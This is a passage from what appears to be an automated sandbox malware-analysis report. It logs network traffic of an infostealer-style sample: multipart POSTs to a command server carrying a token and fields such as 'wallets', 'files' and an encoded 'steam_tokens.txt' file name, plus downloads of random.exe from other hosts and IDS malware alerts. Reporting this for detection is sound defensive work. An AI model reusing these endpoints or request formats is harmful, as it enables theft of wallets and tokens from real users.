6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 2d 2d 0d 0a Data Ascii: ------ECAFHDBGHJKFIDHJJJEBContent-Disposition: form-data; name="token"9753bb1c9ab0dc5c00bcc28eb9dfc7a2847deecbec8b982620805fc51a2c692558e053d1------ECAFHDBGHJKFIDHJJJEBContent-Disposition: form-data; name="message"wallets------ECAFHDBGHJKFIDHJJJEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEBKJECFCFBFIECBKFBHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 35 33 62 62 31 63 39 61 62 30 64 63 35 63 30 30 62 63 63 32 38 65 62 39 64 66 63 37 61 32 38 34 37 64 65 65 63 62 65 63 38 62 39 38 32 36 32 30 38 30 35 66 63 35 31 61 32 63 36 39 32 35 35 38 65 30 35 33 64 31 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 2d 2d 0d 0a Data Ascii: ------IIEBKJECFCFBFIECBKFBContent-Disposition: form-data; name="token"9753bb1c9ab0dc5c00bcc28eb9dfc7a2847deecbec8b982620805fc51a2c692558e053d1------IIEBKJECFCFBFIECBKFBContent-Disposition: form-data; name="message"files------IIEBKJECFCFBFIECBKFB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDBGDGCGDAKFIDGIDBFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 35 33 62 62 31 63 39 61 62 30 64 63 35 63 30 30 62 63 63 32 38 65 62 39 64 66 63 37 61 32 38 34 37 64 65 65 63 62 65 63 38 62 39 38 32 36 32 30 38 30 35 66 63 35 31 61 32 63 36 39 32 35 35 38 65 30 35 33 64 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 2d 2d 0d 0a Data Ascii: ------IJDBGDGCGDAKFIDGIDBFContent-Disposition: form-data; name="token"9753bb1c9ab0dc5c00bcc28eb9dfc7a2847deecbec8b982620805fc51a2c692558e053d1------IJDBGDGCGDAKFIDGIDBFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IJDBGDGCGDAKFIDGIDBFContent-Disposition: form-data; name="file"------IJDBGDGCGDAKFIDGIDBF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBGCFCFHCFHIECAEHDHHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 43 46 43 46 48 43 46 48 49 45 43 41 45 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 35 33 62 62 31 63 39 61 62 30 64 63 35 63 30 30 62 63 63 32 38 65 62 39 64 66 63 37 61 32 38 34 37 64 65 65 63 62 65 63 38 62 39 38 32 36 32 30 38 30 35 66 63 35 31 61 32 63 36 39 32 35 35 38 65 30 35 33 64 31 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 43 46 43 46 48 43 46 48 49 45 43 41 45 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 43 46 43 46 48 43 46 48 49 45 43 41 45 48 44 48 2d 2d 0d 0a Data Ascii: ------BFBGCFCFHCFHIECAEHDHContent-Disposition: form-data; name="token"9753bb1c9ab0dc5c00bcc28eb9dfc7a2847deecbec8b982620805fc51a2c692558e053d1------BFBGCFCFHCFHIECAEHDHContent-Disposition: form-data; name="message"ybncbhylepme------BFBGCFCFHCFHIECAEHDH--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFCFBAEGDHIEBFHDGCBHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 46 43 46 42 41 45 47 44 48 49 45 42 46 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 35 33 62 62 31 63 39 61 62 30 64 63 35 63 30 30 62 63 63 32 38 65 62 39 64 66 63 37 61 32 38 34 37 64 65 65 63 62 65 63 38 62 39 38 32 36 32 30 38 30 35 66 63 35 31 61 32 63 36 39 32 35 35 38 65 30 35 33 64 31 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 46 42 41 45 47 44 48 49 45 42 46 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 46 42 41 45 47 44 48 49 45 42 46 48 44 47 43 42 2d 2d 0d 0a Data Ascii: ------BAFCFBAEGDHIEBFHDGCBContent-Disposition: form-data; name="token"9753bb1c9ab0dc5c00bcc28eb9dfc7a2847deecbec8b982620805fc51a2c692558e053d1------BAFCFBAEGDHIEBFHDGCBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BAFCFBAEGDHIEBFHDGCB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 30 37 44 42 32 33 39 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC07DB239B96DA0445166EF7A7D35B1E750864299
Source: global traffic	HTTP traffic detected: GET /files/rnd.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 32 31 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008217001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 20.1.248.118 20.1.248.118
Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.10:49700 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.10:49747 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.10:49828 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49912 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.10:49912 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49951 -> 31.41.244.11:80

Source: unknown

HTTPS traffic detected: 173.222.162.55:443 -> 192.168.2.10:49829 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.55
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.85
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.55
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.55
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 27_2_00A5BE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

27_2_00A5BE30

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJe2yQEIo7bJAQipncoBCJr0ygEIlaHLAQiFoM0BCNy9zQEIucrNAQi/0M0BCMbRzQEIutTNAQjK1s0BCKfYzQEI+cDUFRjymM0BGLnSzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJe2yQEIo7bJAQipncoBCJr0ygEIlaHLAQiFoM0BCNy9zQEIucrNAQi/0M0BCMbRzQEIutTNAQjK1s0BCKfYzQEI+cDUFRjymM0BGLnSzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=NBpaY9u4MAKaRFe&MD=dGLnu6cB HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732896533&P2=404&P3=2&P4=Mq4jVraNTONkpwCNHaeLaCPNvwnspFqPTEVw2KszZbmR4o07LDqzkQpH%2farh%2bOC3xDqxn60SoSSaJXC8g17aag%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: bReNTOQ+rEVZn0AAirL6z2Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1732291741203&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=379C33D393BD6E761EBE26EC92DF6F66&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=379C33D393BD6E761EBE26EC92DF6F66&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=8810299700620392370&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=8efe81035df7490f99aefac8263dcd99 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=379C33D393BD6E761EBE26EC92DF6F66; _EDGE_S=F=1&SID=3467BADAF3F66E6322F8AFE5F2CE6F4F; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
